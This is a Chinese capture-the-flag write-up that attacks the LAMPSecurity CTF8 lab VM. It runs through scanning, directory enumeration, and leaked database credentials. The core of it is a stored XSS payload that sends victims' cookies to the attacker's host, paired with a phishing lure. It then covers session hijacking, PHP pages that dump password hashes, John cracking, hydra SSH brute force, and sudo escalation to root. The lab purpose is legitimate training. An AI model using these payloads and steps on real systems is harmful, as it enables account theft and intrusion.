1. LAMPSecurity-CTF8靶机复现

靶机下载

渗透方法

  • 网络扫描 (Nmap)
  • 浏览 HTTP 网络服务
  • 敏感目录遍历(Dirb/Nikto/gobuster)
  • XSS的应用
  • Burpsuite捕获和修改请求
  • 破解密码哈希(John)
  • SSH 爆破(Medusa/hydra)
  • 在不同阶段寻找和获取flag

过程

1. 使用nmap扫描,确定IP

跟我本机在同一网段下,所以扫描本机网段
image.png
nmap -sS 192.168.182.0/24
在这里插入图片描述
也可使用arp-scan,查看网段的所有主机,速度更快一点
arp-scan -I eth0 192.168.182.0/24
image.png
有开放80端口的IP,进行测试
得到目标IP:192.168.182.128
image.png
查看源码,获得了第一个flag:#flag#550e1bafe077ff0b0b67f4e32f29d751

在这里插入图片描述

2. 使用nmap进行全扫描,收集开放端口信息

nmap -A -p- 192.168.182.128

在这里插入图片描述

┌──(root@Kali5ta)-[~]
└─# nmap -A -p- 192.168.182.128
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-04 18:49 CST
Nmap scan report for 192.168.182.128
Host is up (0.00031s latency).
Not shown: 65513 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.182.130
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 2.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0            4096 Jun 05  2013 pub
22/tcp   open  ssh         OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 5e:ca:64:f0:7f:d2:1a:a2:86:c6:1f:c2:2a:b3:6b:27 (DSA)
|_  2048 a3:39:2d:9f:66:96:0d:82:ad:52:1f:a1:dc:b1:f1:54 (RSA)
25/tcp   open  smtp        Sendmail
| smtp-commands: localhost.localdomain Hello [192.168.182.130], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERBY, HELP
|_ 2.0.0 This is sendmail 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>". 2.0.0 To report bugs in the implementation see 2.0.0 http://www.sendmail.org/email-addresses.html 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info
80/tcp   open  http        Apache httpd 2.2.3 ((CentOS))
| http-git: 
|   192.168.182.128:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: initial commit 
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /sites/ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /install.php /INSTALL.txt /LICENSE.txt 
|_/MAINTAINERS.txt
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: LAMPSecurity Research
|_http-favicon: Drupal CMS
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            941/udp   status
|_  100024  1            944/tcp   status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp  open  ssl/http    Apache httpd 2.2.3 ((CentOS))
|_http-title: LAMPSecurity Research
|_ssl-date: 2022-12-04T18:49:54+00:00; +8h00m24s from scanner time.
| http-git: 
|   192.168.182.128:443/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: initial commit 
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /sites/ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /install.php /INSTALL.txt /LICENSE.txt 
|_/MAINTAINERS.txt
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2013-05-29T19:38:35
|_Not valid after:  2014-05-29T19:38:35
|_http-server-header: Apache/2.2.3 (CentOS)
445/tcp  open  netbios-ssn Samba smbd 3.0.33-3.7.el5 (workgroup: WORKGROUP)
944/tcp  open  status      1 (RPC #100024)
3306/tcp open  mysql       MySQL (unauthorized)
5801/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5901)
|_http-server-header: RealVNC/4.0
|_http-title: VNC viewer for Java
5802/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5902)
|_http-title: VNC viewer for Java
|_http-server-header: RealVNC/4.0
5803/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5903)
|_http-server-header: RealVNC/4.0
|_http-title: VNC viewer for Java
5804/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5904)
|_http-title: VNC viewer for Java
|_http-server-header: RealVNC/4.0
5901/tcp open  vnc         VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|_    VNC Authentication (2)
5902/tcp open  vnc         VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|_    VNC Authentication (2)
5903/tcp open  vnc         VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|_    VNC Authentication (2)
5904/tcp open  vnc         VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|_    VNC Authentication (2)
6001/tcp open  X11         (access denied)
6002/tcp open  X11         (access denied)
6003/tcp open  X11         (access denied)
6004/tcp open  X11         (access denied)
MAC Address: 00:0C:29:26:FD:99 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop
Service Info: OS: Unix

Host script results:
|_clock-skew: mean: 9h40m25s, deviation: 2h53m14s, median: 8h00m23s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.33-3.7.el5)
|   Computer name: localhost
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: localhost.localdomain
|_  System time: 2022-12-04T13:49:50-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: LAMPSEC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

TRACEROUTE
HOP RTT     ADDRESS
1   0.31 ms 192.168.182.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.44 seconds

分析数据可以发现开启了ftp(21端口)、ssh(22端口)及http(80端口)服务

3. 使用nikto扫描web漏洞信息

nikto -h 192.168.182.128

在这里插入图片描述
从扫描结果中可以得知,该网站易遭受XSS攻击,且发现了phpinfo.php页面
image.png
在这里插入图片描述
查看phpinfo.php页面,得到第二个flag:#flag#550e1bafe077ff0b0b67f4e32f29d751
image.png

4. 使用dirb扫描敏感目录信息

4-1 nikto没有发现敏感目录继续使用dirb扫描敏感目录信息

dirb http://192.168.182.128
image.png
得到以下有响应(状态码200)的网址
[http://192.168.182.128/.git/HEAD](http://192.168.182.128/.git/HEAD)
与git相关
在这里插入图片描述

[http://192.168.182.128/contact](http://192.168.182.128/contact)
[http://192.168.182.128/Contact](http://192.168.182.128/contact)
留言板
image.png
[http://192.168.182.128/webmail/src/login.php](http://192.168.182.128/webmail/src/login.php)
邮件登录后台
在这里插入图片描述

[http://192.168.182.128/user](http://192.168.182.128/user)
注册/找回密码界面
image.png
[http://192.168.182.128/tracker](http://192.168.182.128/tracker)
发现发送帖子的作者均是Barbara,此人是渗透的重点目标
在这里插入图片描述

审查发送的帖子时,得到第三个flag:#flag#57dbe55b42b307fb4115146d239955d0
image.png
[http://192.168.182.128/robots.txt](http://192.168.182.128/robots.txt)

在这里插入图片描述


在该链接得到第四个flag:#flag#4db00563d4181dc8d1dfd3b5cd6dc708
[http://192.168.182.128/profile](http://192.168.182.128/profile)
公司部门员工名字,可以做爆破时的用户名字典
image.png

4-2 通过cms框架获取相关信息

同样可以使用dirsearch
dirsearch -u 192.168.182.128
发现存在git源码泄露:

在这里插入图片描述

该网站是用Drupal搭建
image.png
在这里插入图片描述

image.png

利用scrabble工具获取源码
在这里插入图片描述
image.png在这里插入图片描述

image.png

$db_url = 'mysql://username:password@localhost/databasename';
$db_url = 'mysqli://root:JumpUpAndDown@localhost/drupal';

在这里插入图片描述

对比可知:
数据库用户名及密码:root:JumpUpAndDown
数据库名:drupal

5. XSS利用

5-1 所需知识

在使用nikto扫描web漏洞时,已经给出了该站点存在XSS的提示
image.png
翻译如下:
不存在抗点击劫持的X-Frame-Options标头。
X-XSS-Protection头没有定义。此header可以提示用户代理防止某些形式的XSS
没有设置X-Content-Type-Options标头。这可以让用户代理以一种不同于MIME类型的方式呈现网站内容

5-1-1 X-Frame-Options:

X-Frame-Options是一个HTTP标头(header),用来告诉浏览器这个网页是否可以放在iFrame内
两个参数:(作用与上面一致)

  1. SAMEORIGIN
  2. DENY

例如

  1. X-Frame-Options: DENY
  2. X-Frame-Options: SAMEORIGIN
  3. X-Frame-Options: ALLOW-FROM http://caibaojian.com/

第一个例子告诉浏览器不要(DENY)把这个网页放在iFrame内,通常的目的就是要帮助用户对抗点击劫持。
第二个例子告诉浏览器只有当架设iFrame的网站与发出X-Frame-Options的网站相同,才能显示发出X-Frame-Options网页的内容。
第三个例子告诉浏览器这个网页只能放在http://caibaojian.com//网页架设的iFrame内。 不指定X-Frame-Options的网页等同表示它可以放在任何iFrame内。 X-Frame-Options可以保障你的网页不会被放在恶意网站设定的iFrame内,令用户成为点击劫持的受害人。
作用
X-Frame-Options HTTP响应头是用来确认是否浏览器可以在frame或iframe标签中渲染一个页面,网站可以用这个头来保证他们的内容不会被嵌入到其它网站中,以来避免点击劫持。
危害
攻击者可以使用一个透明的、不可见的iframe,覆盖在目标网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击iframe页面的一些功能性按钮上,导致被劫持。

5-1-2 X-XSS-Protection:

这个响应头是用来防范XSS的。当检测到跨站脚本攻击 (XSS)时,浏览器将停止加载页面。现在主流浏览器都支持,并且默认都开启了XSS保护,用这个header可以关闭它。它有几种配置:

  • 0:禁用XSS保护;
  • 1:启用XSS保护;
  • 1:mode=block:启用XSS保护,并在检查到XSS攻击时,停止渲染页面(例如IE8中,检查到攻击时,整个页面会被一个#替换)

浏览器提供的XSS保护机制并不完美,但是开启后仍然可以提升攻击难度,总之没有特别的理由,不要关闭它。

5-1-3 X-Content-Type-Options:

该消息头最初是由微软在 IE 8 浏览器中引入的,提供给网站管理员用作禁用内容嗅探的手段,内容嗅探技术可能会把不可执行的 MIME 类型转变为可执行的 MIME 类型。

5-1-4 MIME 类型:

媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型)是一种标准,用来表示文档、文件或字节流的性质和格式。浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理 URL,因此 Web 服务器在响应头中添加正确的 MIME 类型非常重要。如果配置不正确,浏览器可能会曲解文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。

5-2 尝试利用

5-2-1 注册账号

注册页面:http://192.168.182.128/user/register
在这里插入图片描述

创建成功
image.png

5-2-2 寻找注入点

之前发现推送帖子的Barbara
[http://192.168.182.128/tracker](http://192.168.182.128/tracker)
随便找一个她发布的帖子,在评论框内插入xss payload:
<script>alert(/xss/)</script>

在这里插入图片描述

发布后会出现xss弹窗,证明存在XSS注入
image.png

5-2-3 利用XSS漏洞

5-2-3-1 脚本编写

编辑获取访问该页面的任何人的cookie ID的脚本
注意:session和cookie的区别
session是将数据保存在服务器端,cookie是将数据保存在浏览器端。cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗,如果主要考虑到安全应当使用session

5-2-3-2 获取cookie

目标是捕获Barbara的cookie ,她是本文的作者。为了得到cookie,该脚本会强制它发送一个请求到一个 URL,这个 URL 包含我们的 IP 地址(攻击机IP)和它的 cookie 值,这样当有人访问这个页面时,它会在我们自己创建的服务器上寻找一个有这个名字的页面,并且会列出URL 是一个无法访问的 URL。
<script>
var request=new XMLHttpRequest();
var redirect_url="http://192.168.182.130:80/"+document.cookie;
request.open("GET",redirect_url);
request.send();
</script>
http://192.168.182.128/comment/reply/27#comment-form下评论,因为这个是Barbara编辑的首页文章,私信她她肯定会看。
在这里插入图片描述

image.png

5-2-3-3 社工钓鱼

回到http://192.168.182.128/tracker,点击Barbara,点击Contact
在这里插入图片描述

随便找个理由让她点进这个页面:http://192.168.182.128/content/lampsec-point-security-available#comment-4
image.png
先编辑好,不要发送。

5-2-3-4 获取cookie

启动 python web服务器,命令如下所示:
python3 -m http.server 8080
启动后发送邮件
在这里插入图片描述

一段时间后,日志中开始弹出一些错误消息,这些消息中会有Barbara的cookie,当然也包括其他查看该界面的用户的cookie。
image.png
得到cookie值,从Kali访问界面,使用burp抓包,将现有的cookie值替换为Barbara的cookie
q648u16h582trv0o8ivjer8ee3更换为b3lhap10hakqadqdiusfgtmsq0
然后放包登录:
在这里插入图片描述

发现登录上是Steve,多更换几个cookie进行尝试
image.png
kih0p3g2hpnf351kqjt8j51r57

在这里插入图片描述

成功使用Barbara身份登录
image.png

5-2-3-5 获取信息

发现Barbara拥有发布新页面的权限

在这里插入图片描述

5-2-3-5-1 创建PHP页面来获取数据库所有表名:
<?php
$result = db_query('select table_name from information_schema.tables');
while($test = mysqli_fetch_object($result)){
print_r($test->table_name."<br/>");
}
image.png
回显出各种数据表名

在这里插入图片描述

5-2-3-5-2 创建PHP页面来获取数据库所有表名:
<?php
$result = db_query('show tables');
while($test = mysqli_fetch_array($result)){
print_r($test[0]."<br/>");
}
image.png
回显出drupal数据库中的表名

在这里插入图片描述

5-2-3-5-3 创建PHP页面来获取users表中有哪些字段:
image.png
<?php
$result = db_query('select * from users');
while($test = mysqli_fetch_object($result)){
print_r($test);
}

在这里插入图片描述

回显出drupal数据库中users表中的字段名:
image.png

5-2-3-5-3 创建PHP页面来获取users表中name和pass字段:
<?php
$result = db_query('select name,pass from users');
while($test = db_fetch_object($result))
{
print $test->name . ":" . $test->pass . "<br/>";
}
?>
在这里插入图片描述
数据回显
image.png

6. 使用john解密

保存到本地文档

在这里插入图片描述

使用john解密
john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 /root/users.txt
image.png
使用命令查看:
john --show --form=Raw-md5 /root/users.txt
在这里插入图片描述

admin:football123
Barbara:passw0rd
Jim:letmein!
Steve:drupal
Sherry:1website
Susan:BobMarley
George:12341234
Juan:swanson
Michael:cherry
Xavier:thundercats
Sally:fantasy

**users.txt**
admin
Barbara
Jim
Steve
Sherry
Susan
George
Juan
Michael
Xavier
Sally
**passwd.txt**
football123
passw0rd
letmein!
drupal
1website
BobMarley
12341234
swanson
cherry
thundercats
fantasy

在这里插入图片描述

7. 使用九头蛇爆破ssh

hydra 目标IP 协议 -l (用户名,-L用户名字典) -P(密码字典,p直接是密码)-V(过程)
hydra ssh://192.168.182.128/ -L user.txt -P passwd.txt -V
在这里插入图片描述

发现并没有爆破出来

在这里插入图片描述

想到之前敏感目录有关于webmail目录,考虑用户名是否为邮箱或者是邮箱前缀,将这些均添加到user.txt中

bdio@localhost.localdomain
bdio
spinkton@localhost.localdomain
spinkton
xbruce@localhost.localdomain
xbruce
jingersol@localhost.localdomain
jingersol
dhart@localhost.localdomain
dhart
shunter@localhost.localdomain
shunter
tmaloney@localhost.localdomain
tmaloney
gconnor@localhost.localdomain
gconnor
jalderman@localhost.localdomain
jalderman
gprune@localhost.localdomain
gprune
sholden@localhost.localdomain
sholden
jgrimes@localhost.localdomain
jgrimes
jgoldman@localhost.localdomain
jgoldman
jstone@localhost.localdomain
jstone
mswanson@localhost.localdomain
mswanson
sloreman@localhost.localdomain
sloreman
sswiney@localhost.localdomain
sswiney
hplink@localhost.localdomain
hplink
jharraway@localhost.localdomain
jharraway

再次爆破
hydra ssh://192.168.182.128/ -L user.txt -P passwd.txt -V
这次爆破出三个结果
在这里插入图片描述

login: bdio   password: passw0rd
login: spinkton   password: football123
login: jharraway   password: letmein!

8. burp爆破邮箱登录界面(已经可以ssh登陆,这步多余)

之前得到了邮件登录地址http://192.168.182.128/webmail/src/login.php
使用的是squirrelMail
百度发现该PHP邮件有远程代码执行漏洞,1.4.22版本以下均受影响
https://www.bbsmax.com/A/8Bz8nMpk5x/在这里插入图片描述

发现没有验证码模块
使用得到的账号及密码,使用burp的intruder模块进行爆破:
在这里插入图片描述

没有爆破出来有用信息

9. ssh登录

9-1 使用bdio进行登录

login: bdio password: passw0rd

9-1-1 连接

ssh bdio@192.168.182.128
连接报错
在这里插入图片描述
原因:
OpenSSH 7.0以后的版本不再支持ssh-dss (DSA)算法
解决方法:
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss bdio@192.168.182.128
连接成功
image.png

9-1-2 查找flag

找到第五个flag:#flag#14e1b600b1fd579f47433b88e8d85291
在这里插入图片描述

9-1-3 寻找其他有用信息

9-1-3-1进入home目录,查看其他人的文件夹,提示无权限

在这里插入图片描述

9-1-3-2 进入root目录,提示无权限

在这里插入图片描述

9-1-3-3 使用sudo su 提权,提示bdio 不在 sudoers 列表中

在这里插入图片描述

9-2 使用spinkton进行登录

**login: spinkton password: football123**

9-2-1 连接:

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss spinkton@192.168.182.128
在这里插入图片描述

9-2-2 查找flag

得到第六个flag:#flag#0ab251c07822d26b07b88136739ae39b

在这里插入图片描述

9-2-3 寻找其他有用信息

9-2-3-1进入home目录,查看其他人的文件夹,提示无权限

在这里插入图片描述

9-2-3-2 进入root目录,提示无权限

image.png

9-2-3-3 使用sudo su 提权,发现可以提权

在这里插入图片描述

得到第七个flag:#flag#fd38e201f27e98e53abcf62890cfa303
image.png

9-2-3-4 已经获得root权限

因此最后一个用户jharraway无需再次使用ssh连接,即可直接使用root用户查看
得到第八个flag:#flag#0ab251c07822d26b07b88136739ae39b

在这里插入图片描述

通过root权限使用find命令
find -name flag

./var/lib/mysql/flag
./home/jstone/flag
./home/jalderman/flag
./home/jgrimes/flag
./home/jharraway/flag
./home/xbruce/flag
./home/shunter/flag
./home/sloreman/flag
./home/spinkton/flag
./home/gprune/flag
./home/mswanson/flag
./home/dhart/flag
./home/gconnor/flag
./home/bdio/flag
./home/sholden/flag
./home/jgoldman/flag
./home/jingersol/flag
./home/sswiney/flag
./home/tmaloney/flag

9-2-3-4-1 ./var/lib/mysql/flag
得到第九个flag:#flag#ab38cd01f27d48e13bbef62890c4330e

在这里插入图片描述

9-2-3-4-2 依次寻找各个用户目录下的flag

在这里插入图片描述

批量寻找各用户的flag并写入文本
find -name flag | cat ./*/flag > getflag.txt
image.png
除去已知三个用户的flag,剩下的flag依次为:
#flag#228e04041ff2172704a46bf05d1025e2
#flag#0dd2ee4b75e2ae9e651d756a073ad845
#flag#2b0f0a14c00c8e1c4e11713ae4570d1e
#flag#1727712e26adec5956608218c0e1bc8d
#flag#129f58ad4af8f9de08bbd6bb7df22850
#flag#2f485b0d23c134ae06fd913ca2774853
#flag#34b5fa40a80f8596e56a422c0e65c21f
#flag#4241333025d7995adacc93eb6172a7b3
#flag#3b401580fa1184c9f4e66b6beb51a68f
#flag#0d8763b3866033eab7414b6166689fa8
#flag#307fbe82dcca96a884ab20c872422c57
#flag#4ce2645878d776c2a4f0e3c93d2a1b32
#flag#1d63be7ae33d0a258c1f93e61434c570
#flag#09fa6dc5d01788201df7b57cfc551002
#flag#49fb2e659dc8e2794bd401ca5b306057

9-2-3-4-3 查看敏感文件内是否藏有flag
vim /etc/passwd
并未发现
vim /etc/passwd
发现第25个flag:#flag#5b650c18929383074fea8870d857dd2e
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值